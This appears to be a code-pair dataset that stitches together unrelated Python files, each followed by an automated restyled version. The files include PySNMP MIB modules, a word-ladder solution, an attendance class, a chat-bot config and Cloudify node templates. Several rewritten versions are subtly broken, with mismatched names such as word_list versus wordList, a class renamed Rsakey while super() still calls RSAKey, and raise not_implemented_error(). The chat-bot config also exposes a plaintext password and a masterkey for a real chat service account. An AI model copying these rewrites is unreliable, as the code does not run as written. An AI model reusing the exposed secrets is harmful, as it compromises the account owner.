if mibBuilder.loadTexts:
tmsLastUpdate.setStatus('current')
if mibBuilder.loadTexts:
tmsLastUpdate.setDescription('Time of the last configuration change')
tms_mitigation_config = mib_identifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2))
tms_mitigation_last_update = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 1), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsMitigationLastUpdate.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationLastUpdate.setDescription('Last time Mitigation configuration was updated')
tms_mitigation_number = mib_scalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 2), tms_table_index_or_zero()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsMitigationNumber.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationNumber.setDescription('Number of entries in the tmsMitigation table')
tms_mitigation_table = mib_table((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3))
if mibBuilder.loadTexts:
tmsMitigationTable.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationTable.setDescription('Table of all mitigations in the TMS system')
tms_mitigation_entry = mib_table_row((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1)).setIndexNames((0, 'PEAKFLOW-TMS-MIB', 'tmsMitigationIndex'))
if mibBuilder.loadTexts:
tmsMitigationEntry.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationEntry.setDescription('Information about a single mitigation')
tms_mitigation_index = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 1), tms_table_index()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsMitigationIndex.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationIndex.setDescription('Index in the tmsMitigation table. As of release 5.0 this is the same as the tmsMitigationId.')
tms_mitigation_id = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 2), unsigned32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsMitigationId.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationId.setDescription('ID number of this mitigation')
tms_destination_prefix = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 3), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsDestinationPrefix.setStatus('current')
if mibBuilder.loadTexts:
tmsDestinationPrefix.setDescription('Destination IPv4 prefix to which this mitigation applies. The value 0.0.0.0/32 indicates that the mitigation has no IPv4 prefix.')
tms_destination_prefix_mask = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 4), unsigned32().subtype(subtypeSpec=value_range_constraint(0, 32))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsDestinationPrefixMask.setStatus('current')
if mibBuilder.loadTexts:
tmsDestinationPrefixMask.setDescription('Destination IPv4 prefix to which this mitigation applies. The value 0.0.0.0/32 indicates that the mitigation has no IPv4 prefix.')
tms_mitigation_name = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 5), display_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsMitigationName.setStatus('current')
if mibBuilder.loadTexts:
tmsMitigationName.setDescription('Name of this mitigation')
tms_ipv6_destination_prefix = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 6), ipv6_address_prefix()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsIpv6DestinationPrefix.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6DestinationPrefix.setDescription('Destination IPv6 prefix to which this mitigation applies. The value 0::/128 indicates that the mitigation has no IPv6 prefix.')
tms_ipv6_destination_prefix_mask = mib_table_column((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 7), unsigned32().subtype(subtypeSpec=value_range_constraint(0, 128))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
tmsIpv6DestinationPrefixMask.setStatus('current')
if mibBuilder.loadTexts:
tmsIpv6DestinationPrefixMask.setDescription('Destination IPv6 prefix to which this mitigation applies. The value 0::/128 indicates that the mitigation has no IPv6 prefix.')
mibBuilder.exportSymbols('PEAKFLOW-TMS-MIB', tmsConfigError=tmsConfigError, tmsTrapNexthop=tmsTrapNexthop, devicePhysicalMemoryUsage=devicePhysicalMemoryUsage, tmsTrapString=tmsTrapString, tmsIpv6DestinationPrefixMask=tmsIpv6DestinationPrefixMask, tmsNexthopUp=tmsNexthopUp, tmsPerformanceLossy=tmsPerformanceLossy, tmsConfigOk=tmsConfigOk, tmsTrapGreDestination=tmsTrapGreDestination, tmsHostFault=tmsHostFault, tmsFilesystemNominal=tmsFilesystemNominal, tmsSpCommunicationDown=tmsSpCommunicationDown, tmsSystemPrefixesMissing=tmsSystemPrefixesMissing, tmsTrapIpv6Nexthop=tmsTrapIpv6Nexthop, peakflowTmsObj=peakflowTmsObj, tmsLastUpdate=tmsLastUpdate, tmsMitigationId=tmsMitigationId, tmsMitigationConfig=tmsMitigationConfig, tmsMitigationLastUpdate=tmsMitigationLastUpdate, tmsMitigationError=tmsMitigationError, deviceDiskUsage=deviceDiskUsage, tmsMitigationIndex=tmsMitigationIndex, peakflowTmsTrapsEnumerate=peakflowTmsTrapsEnumerate, tmsIpv6GreTunnelUp=tmsIpv6GreTunnelUp, tmsBgpNeighborUp=tmsBgpNeighborUp, tmsMitigationEntry=tmsMitigationEntry, deviceCpuLoadAvg1min=deviceCpuLoadAvg1min, tmsMitigationNumber=tmsMitigationNumber, peakflowTmsMgr=peakflowTmsMgr, tmsSystemPrefixesOk=tmsSystemPrefixesOk, greTunnelDown=greTunnelDown, subHostUp=subHostUp, tmsLinkUp=tmsLinkUp, tmsBgpNeighborDown=tmsBgpNeighborDown, tmsLinkDown=tmsLinkDown, tmsMitigationTable=tmsMitigationTable, tmsSwComponentDown=tmsSwComponentDown, tmsIpv6NexthopUp=tmsIpv6NexthopUp, tmsTrapComponentName=tmsTrapComponentName, tmsIpv6BgpNeighborDown=tmsIpv6BgpNeighborDown, hostFault=hostFault, tmsPerformanceOk=tmsPerformanceOk, tmsHostUpTime=tmsHostUpTime, tmsVersion=tmsVersion, tmsIpv6GreTunnelDown=tmsIpv6GreTunnelDown, tmsTrapGreSource=tmsTrapGreSource, tmsAutomitigationBgpSuspended=tmsAutomitigationBgpSuspended, tmsHwDeviceDown=tmsHwDeviceDown, tmsMitigationSuspended=tmsMitigationSuspended, PYSNMP_MODULE_ID=peakflowTmsMIB, tmsAutomitigationBgpDisabled=tmsAutomitigationBgpDisabled, tmsTrapIpv6GreSource=tmsTrapIpv6GreSource, tmsNexthopDown=tmsNexthopDown, greTunnelUp=greTunnelUp, tmsSwComponentUp=tmsSwComponentUp, tmsSystemStatusNominal=tmsSystemStatusNominal, tmsHwDeviceUp=tmsHwDeviceUp, TmsTableIndexOrZero=TmsTableIndexOrZero, tmsTrapIpv6BgpPeer=tmsTrapIpv6BgpPeer, deviceSwapSpaceUsage=deviceSwapSpaceUsage, tmsSystemStatusDegraded=tmsSystemStatusDegraded, peakflowTmsTraps=peakflowTmsTraps, tmsDestinationPrefixMask=tmsDestinationPrefixMask, tmsHwSensorCritical=tmsHwSensorCritical, peakflowTmsMIB=peakflowTmsMIB, tmsDpiConfig=tmsDpiConfig, tmsFilesystemCritical=tmsFilesystemCritical, tmsIpv6NexthopDown=tmsIpv6NexthopDown, tmsConfigMissing=tmsConfigMissing, tmsTrapBgpPeer=tmsTrapBgpPeer, deviceCpuLoadAvg15min=deviceCpuLoadAvg15min, tmsIpv6DestinationPrefix=tmsIpv6DestinationPrefix, tmsTrapDetail=tmsTrapDetail, deviceCpuLoadAvg5min=deviceCpuLoadAvg5min, tmsIpv6BgpNeighborUp=tmsIpv6BgpNeighborUp, TmsPercentage=TmsPercentage, tmsSystemStatusError=tmsSystemStatusError, tmsSystemStatusCritical=tmsSystemStatusCritical, tmsTrapSubhostName=tmsTrapSubhostName, TmsTableIndex=TmsTableIndex, tmsHwSensorOk=tmsHwSensorOk, tmsMitigationName=tmsMitigationName, tmsMitigationRunning=tmsMitigationRunning, TmsHundredths=TmsHundredths, tmsTrapIpv6GreDestination=tmsTrapIpv6GreDestination, tmsDestinationPrefix=tmsDestinationPrefix, tmsAutomitigationBgpEnabled=tmsAutomitigationBgpEnabled, tmsSpCommunicationUp=tmsSpCommunicationUp, tmsHwSensorUnknown=tmsHwSensorUnknown, subHostDown=subHostDown) |
#
# PySNMP MIB module ENTERASYS-ENCR-8021X-REKEYING-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ENTERASYS-ENCR-8021X-REKEYING-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 18:48:58 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsUnion, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint", "SingleValueConstraint")
etsysModules, = mibBuilder.importSymbols("ENTERASYS-MIB-NAMES", "etsysModules")
dot1xPaePortNumber, = mibBuilder.importSymbols("IEEE8021-PAE-MIB", "dot1xPaePortNumber")
NotificationGroup, ObjectGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ObjectGroup", "ModuleCompliance")
Counter64, Integer32, Counter32, ObjectIdentity, NotificationType, iso, Unsigned32, Bits, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, MibIdentifier, IpAddress, TimeTicks, Gauge32 = mibBuilder.importSymbols("SNMPv2-SMI", "Counter64", "Integer32", "Counter32", "ObjectIdentity", "NotificationType", "iso", "Unsigned32", "Bits", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "MibIdentifier", "IpAddress", "TimeTicks", "Gauge32")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
etsysEncr8021xRekeyingMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20))
etsysEncr8021xRekeyingMIB.setRevisions(('2002-03-14 20:49',))
if mibBuilder.loadTexts: etsysEncr8021xRekeyingMIB.setLastUpdated('200203142049Z')
if mibBuilder.loadTexts: etsysEncr8021xRekeyingMIB.setOrganization('Enterasys Networks, Inc')
etsysEncrDot1xRekeyingObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1))
etsysEncrDot1xRekeyBaseBranch = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1))
etsysEncrDot1xRekeyConfigTable = MibTable((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1), )
if mibBuilder.loadTexts: etsysEncrDot1xRekeyConfigTable.setStatus('current')
etsysEncrDot1xRekeyConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1), ).setIndexNames((0, "IEEE8021-PAE-MIB", "dot1xPaePortNumber"))
if mibBuilder.loadTexts: etsysEncrDot1xRekeyConfigEntry.setStatus('current')
etsysEncrDot1xRekeyEnabled = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyEnabled.setStatus('current')
etsysEncrDot1xRekeyPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyPeriod.setStatus('current')
etsysEncrDot1xRekeyLength = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyLength.setStatus('current')
etsysEncrDot1xRekeyAsymmetric = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyAsymmetric.setStatus('current')
etsysEncrDot1xRekeyingConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2))
etsysEncrDot1xRekeyingGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 1))
etsysEncrDot1xRekeyingCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 2))
etsysEncrDot1xRekeyingBaseGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 1, 1)).setObjects(("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyPeriod"), ("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyEnabled"), ("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyLength"), ("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyAsymmetric"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
etsysEncrDot1xRekeyingBaseGroup = etsysEncrDot1xRekeyingBaseGroup.setStatus('current')
etsysEncrDot1xRekeyingCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 2, 1)).setObjects(("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyingBaseGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
etsysEncrDot1xRekeyingCompliance = etsysEncrDot1xRekeyingCompliance.setStatus('current')
mibBuilder.exportSymbols("ENTERASYS-ENCR-8021X-REKEYING-MIB", etsysEncrDot1xRekeyingCompliances=etsysEncrDot1xRekeyingCompliances, etsysEncrDot1xRekeyingGroups=etsysEncrDot1xRekeyingGroups, PYSNMP_MODULE_ID=etsysEncr8021xRekeyingMIB, etsysEncrDot1xRekeyPeriod=etsysEncrDot1xRekeyPeriod, etsysEncrDot1xRekeyingObjects=etsysEncrDot1xRekeyingObjects, etsysEncrDot1xRekeyingBaseGroup=etsysEncrDot1xRekeyingBaseGroup, etsysEncrDot1xRekeyConfigEntry=etsysEncrDot1xRekeyConfigEntry, etsysEncrDot1xRekeyingConformance=etsysEncrDot1xRekeyingConformance, etsysEncrDot1xRekeyEnabled=etsysEncrDot1xRekeyEnabled, etsysEncrDot1xRekeyingCompliance=etsysEncrDot1xRekeyingCompliance, etsysEncr8021xRekeyingMIB=etsysEncr8021xRekeyingMIB, etsysEncrDot1xRekeyAsymmetric=etsysEncrDot1xRekeyAsymmetric, etsysEncrDot1xRekeyLength=etsysEncrDot1xRekeyLength, etsysEncrDot1xRekeyBaseBranch=etsysEncrDot1xRekeyBaseBranch, etsysEncrDot1xRekeyConfigTable=etsysEncrDot1xRekeyConfigTable)
| (integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_union, constraints_intersection, value_size_constraint, value_range_constraint, single_value_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsUnion', 'ConstraintsIntersection', 'ValueSizeConstraint', 'ValueRangeConstraint', 'SingleValueConstraint')
(etsys_modules,) = mibBuilder.importSymbols('ENTERASYS-MIB-NAMES', 'etsysModules')
(dot1x_pae_port_number,) = mibBuilder.importSymbols('IEEE8021-PAE-MIB', 'dot1xPaePortNumber')
(notification_group, object_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ObjectGroup', 'ModuleCompliance')
(counter64, integer32, counter32, object_identity, notification_type, iso, unsigned32, bits, mib_scalar, mib_table, mib_table_row, mib_table_column, module_identity, mib_identifier, ip_address, time_ticks, gauge32) = mibBuilder.importSymbols('SNMPv2-SMI', 'Counter64', 'Integer32', 'Counter32', 'ObjectIdentity', 'NotificationType', 'iso', 'Unsigned32', 'Bits', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'ModuleIdentity', 'MibIdentifier', 'IpAddress', 'TimeTicks', 'Gauge32')
(textual_convention, display_string) = mibBuilder.importSymbols('SNMPv2-TC', 'TextualConvention', 'DisplayString')
etsys_encr8021x_rekeying_mib = module_identity((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20))
etsysEncr8021xRekeyingMIB.setRevisions(('2002-03-14 20:49',))
if mibBuilder.loadTexts:
etsysEncr8021xRekeyingMIB.setLastUpdated('200203142049Z')
if mibBuilder.loadTexts:
etsysEncr8021xRekeyingMIB.setOrganization('Enterasys Networks, Inc')
etsys_encr_dot1x_rekeying_objects = mib_identifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1))
etsys_encr_dot1x_rekey_base_branch = mib_identifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1))
etsys_encr_dot1x_rekey_config_table = mib_table((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1))
if mibBuilder.loadTexts:
etsysEncrDot1xRekeyConfigTable.setStatus('current')
etsys_encr_dot1x_rekey_config_entry = mib_table_row((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1)).setIndexNames((0, 'IEEE8021-PAE-MIB', 'dot1xPaePortNumber'))
if mibBuilder.loadTexts:
etsysEncrDot1xRekeyConfigEntry.setStatus('current')
etsys_encr_dot1x_rekey_enabled = mib_table_column((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 1), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
etsysEncrDot1xRekeyEnabled.setStatus('current')
etsys_encr_dot1x_rekey_period = mib_table_column((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 2), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
etsysEncrDot1xRekeyPeriod.setStatus('current')
etsys_encr_dot1x_rekey_length = mib_table_column((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 3), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
etsysEncrDot1xRekeyLength.setStatus('current')
etsys_encr_dot1x_rekey_asymmetric = mib_table_column((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 4), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
etsysEncrDot1xRekeyAsymmetric.setStatus('current')
etsys_encr_dot1x_rekeying_conformance = mib_identifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2))
etsys_encr_dot1x_rekeying_groups = mib_identifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 1))
etsys_encr_dot1x_rekeying_compliances = mib_identifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 2))
etsys_encr_dot1x_rekeying_base_group = object_group((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 1, 1)).setObjects(('ENTERASYS-ENCR-8021X-REKEYING-MIB', 'etsysEncrDot1xRekeyPeriod'), ('ENTERASYS-ENCR-8021X-REKEYING-MIB', 'etsysEncrDot1xRekeyEnabled'), ('ENTERASYS-ENCR-8021X-REKEYING-MIB', 'etsysEncrDot1xRekeyLength'), ('ENTERASYS-ENCR-8021X-REKEYING-MIB', 'etsysEncrDot1xRekeyAsymmetric'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
etsys_encr_dot1x_rekeying_base_group = etsysEncrDot1xRekeyingBaseGroup.setStatus('current')
etsys_encr_dot1x_rekeying_compliance = module_compliance((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 2, 1)).setObjects(('ENTERASYS-ENCR-8021X-REKEYING-MIB', 'etsysEncrDot1xRekeyingBaseGroup'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
etsys_encr_dot1x_rekeying_compliance = etsysEncrDot1xRekeyingCompliance.setStatus('current')
mibBuilder.exportSymbols('ENTERASYS-ENCR-8021X-REKEYING-MIB', etsysEncrDot1xRekeyingCompliances=etsysEncrDot1xRekeyingCompliances, etsysEncrDot1xRekeyingGroups=etsysEncrDot1xRekeyingGroups, PYSNMP_MODULE_ID=etsysEncr8021xRekeyingMIB, etsysEncrDot1xRekeyPeriod=etsysEncrDot1xRekeyPeriod, etsysEncrDot1xRekeyingObjects=etsysEncrDot1xRekeyingObjects, etsysEncrDot1xRekeyingBaseGroup=etsysEncrDot1xRekeyingBaseGroup, etsysEncrDot1xRekeyConfigEntry=etsysEncrDot1xRekeyConfigEntry, etsysEncrDot1xRekeyingConformance=etsysEncrDot1xRekeyingConformance, etsysEncrDot1xRekeyEnabled=etsysEncrDot1xRekeyEnabled, etsysEncrDot1xRekeyingCompliance=etsysEncrDot1xRekeyingCompliance, etsysEncr8021xRekeyingMIB=etsysEncr8021xRekeyingMIB, etsysEncrDot1xRekeyAsymmetric=etsysEncrDot1xRekeyAsymmetric, etsysEncrDot1xRekeyLength=etsysEncrDot1xRekeyLength, etsysEncrDot1xRekeyBaseBranch=etsysEncrDot1xRekeyBaseBranch, etsysEncrDot1xRekeyConfigTable=etsysEncrDot1xRekeyConfigTable) |
# !/usr/bin/env python3
# Author: C.K
# Email: theck17@163.com
# DateTime:2021-05-24 18:24:44
# Description:
class Solution(object):
def findLadders(self, beginWord, endWord, wordList):
wordList = set(wordList)
res = []
layer = {}
layer[beginWord] = [[beginWord]]
while layer:
newlayer = collections.defaultdict(list)
for w in layer:
if w == endWord:
res.extend(k for k in layer[w])
else:
for i in range(len(w)):
for c in 'abcdefghijklmnopqrstuvwxyz':
neww = w[:i] + c + w[i + 1:]
if neww in wordList:
newlayer[neww] += [
j + [neww] for j in layer[w]
]
wordList -= set(newlayer.keys())
layer = newlayer
return res
if __name__ == "__main__":
pass
| class Solution(object):
def find_ladders(self, beginWord, endWord, wordList):
word_list = set(wordList)
res = []
layer = {}
layer[beginWord] = [[beginWord]]
while layer:
newlayer = collections.defaultdict(list)
for w in layer:
if w == endWord:
res.extend((k for k in layer[w]))
else:
for i in range(len(w)):
for c in 'abcdefghijklmnopqrstuvwxyz':
neww = w[:i] + c + w[i + 1:]
if neww in wordList:
newlayer[neww] += [j + [neww] for j in layer[w]]
word_list -= set(newlayer.keys())
layer = newlayer
return res
if __name__ == '__main__':
pass |
# -*- coding: utf-8 -*-
class Attendance(object):
def __init__(self, user_id, timestamp, status, punch=0, uid=0):
self.uid = uid # not really used any more
self.user_id = user_id
self.timestamp = timestamp
self.status = status
self.punch = punch
def __str__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp, self.status, self.punch)
def __repr__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp,self.status, self.punch)
| class Attendance(object):
def __init__(self, user_id, timestamp, status, punch=0, uid=0):
self.uid = uid
self.user_id = user_id
self.timestamp = timestamp
self.status = status
self.punch = punch
def __str__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp, self.status, self.punch)
def __repr__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp, self.status, self.punch) |
# admins defines who can issue admin-level commands to the bot. Looks like this:
# admins = ["First Admin", "second admin", "xXx third admin-dono xXX"]
#please be precise, else python pukes up an error. TIA.
admins = ["Exo", "Kalikrates"]
#This is the login infor for the account Cogito runs over.
account= "Cogito"
character= "Cogito"
password= "1ChD3Nk34Ls=!"
#For channels, make sure you enter their PRECISE title, including any trailing spaces and/or punctuation!
#channels= ['Development']
channels= ['Gay/Bi Male Human(oid)s. ', 'Coaches, Sweat and Muscles', 'Manly Males of Extra Manly Manliness', 'The Felines Lair~!']
host= 'chat.f-list.net'
port= 9722 #9722 - Real | 8722 - Dev
version= "2.1"
banter = True
banterchance = 1.0
messagelimit = 7
minSendDelay = 1.0
#Format: Command : (function_name, level required for access, message type required for access.)
#levels:
#2: normal user.
#1: channel admin/chat admin.
#0: admin defined above, in config.py
#message types:
#0: private message
#1: in-channel
#2: in-channel, mentioning config.character; e.g. Cogito: <function>
functions = {
".shutdown": ("hibernation", 0, [0]),
".join": ("join", 0, [0,1]),
".leave": ("leave", 0, [0,1]),
".lockdown": ("lockdown", 0, [0,1,2]),
".minage": ("minage", 0, [0,1]),
".scan": ("scan", 0, [1]),
".act": ("act", 1, [0,1]),
".noAge": ("alertNoAge", 1, [0,1]),
".underAge": ("alertUnderAge", 1, [0,1]),
".ban": ("ban", 1, [0,1]),
".black": ("blacklist", 1, [0,1]),
".deop": ("deop", 1, [0,1]),
".kick": ("kick", 1, [0,1]),
".lj": ("lastJoined", 1, [0,1]),
".op": ("op", 1, [0,1]),
".r": ("rainbowText", 1, [0,1]),
".say": ("say", 1, [0,1]),
".white": ("whitelist", 1, [0,1]),
".ignore": ("ignore", 1, [1]),
".auth": ("auth", 2, [0]),
".bingo": ("bingo", 2, [0,1]),
".lc": ("listIndices", 2, [0]),
".help": ("help", 2, [0,1]),
".tell": ("tell", 2, [0,1])}
masterkey = "425133f6b2a9a881d9dc67f5db17179e" | admins = ['Exo', 'Kalikrates']
account = 'Cogito'
character = 'Cogito'
password = '1ChD3Nk34Ls=!'
channels = ['Gay/Bi Male Human(oid)s. ', 'Coaches, Sweat and Muscles', 'Manly Males of Extra Manly Manliness', 'The Felines Lair~!']
host = 'chat.f-list.net'
port = 9722
version = '2.1'
banter = True
banterchance = 1.0
messagelimit = 7
min_send_delay = 1.0
functions = {'.shutdown': ('hibernation', 0, [0]), '.join': ('join', 0, [0, 1]), '.leave': ('leave', 0, [0, 1]), '.lockdown': ('lockdown', 0, [0, 1, 2]), '.minage': ('minage', 0, [0, 1]), '.scan': ('scan', 0, [1]), '.act': ('act', 1, [0, 1]), '.noAge': ('alertNoAge', 1, [0, 1]), '.underAge': ('alertUnderAge', 1, [0, 1]), '.ban': ('ban', 1, [0, 1]), '.black': ('blacklist', 1, [0, 1]), '.deop': ('deop', 1, [0, 1]), '.kick': ('kick', 1, [0, 1]), '.lj': ('lastJoined', 1, [0, 1]), '.op': ('op', 1, [0, 1]), '.r': ('rainbowText', 1, [0, 1]), '.say': ('say', 1, [0, 1]), '.white': ('whitelist', 1, [0, 1]), '.ignore': ('ignore', 1, [1]), '.auth': ('auth', 2, [0]), '.bingo': ('bingo', 2, [0, 1]), '.lc': ('listIndices', 2, [0]), '.help': ('help', 2, [0, 1]), '.tell': ('tell', 2, [0, 1])}
masterkey = '425133f6b2a9a881d9dc67f5db17179e' |
class NodeTemplate(object):
def __init__(self, name):
self.name = name
def to_dict(self):
raise NotImplementedError()
def get_attr(self, attribute):
return {'get_attribute': [self.name, attribute]}
class RSAKey(NodeTemplate):
def __init__(self,
name,
key_name,
openssh_format=True,
use_secret_store=True,
use_secrets_if_exist=True,
store_private_key_material=True):
super(RSAKey, self).__init__(name)
self.key_name = key_name
self.openssh_format = openssh_format
self.use_secret_store = use_secret_store
self.use_secrets_if_exist = use_secrets_if_exist
self.store_private_key_material = store_private_key_material
def to_dict(self):
return {
'type': 'cloudify.keys.nodes.RSAKey',
'properties': {
'resource_config': {
'key_name': self.key_name,
'openssh_format': self.openssh_format
},
'use_secret_store': self.use_secret_store,
'use_secrets_if_exist': self.use_secrets_if_exist
},
'interfaces': {
'cloudify.interfaces.lifecycle': {
'create': {
'implementation':
'keys.cloudify_ssh_key.operations.create',
'inputs': {
'store_private_key_material':
self.store_private_key_material
}
}
}
}
}
class CloudInit(NodeTemplate):
def __init__(self,
name,
agent_user,
ssh_authorized_keys):
super(CloudInit, self).__init__(name)
self.agent_user = agent_user
self.ssh_authorized_keys = ssh_authorized_keys
def to_dict(self):
return {
'type': 'cloudify.nodes.CloudInit.CloudConfig',
'properties': {
'resource_config': {
'users': [
{'name': self.agent_user,
'shell': '/bin/bash',
'sudo': ['ALL=(ALL) NOPASSWD:ALL'],
'ssh-authorized-keys': self.ssh_authorized_keys}
]
}
},
'relationships': [
{'type': 'cloudify.relationships.depends_on',
'target': 'agent_key'}
]
}
| class Nodetemplate(object):
def __init__(self, name):
self.name = name
def to_dict(self):
raise not_implemented_error()
def get_attr(self, attribute):
return {'get_attribute': [self.name, attribute]}
class Rsakey(NodeTemplate):
def __init__(self, name, key_name, openssh_format=True, use_secret_store=True, use_secrets_if_exist=True, store_private_key_material=True):
super(RSAKey, self).__init__(name)
self.key_name = key_name
self.openssh_format = openssh_format
self.use_secret_store = use_secret_store
self.use_secrets_if_exist = use_secrets_if_exist
self.store_private_key_material = store_private_key_material
def to_dict(self):
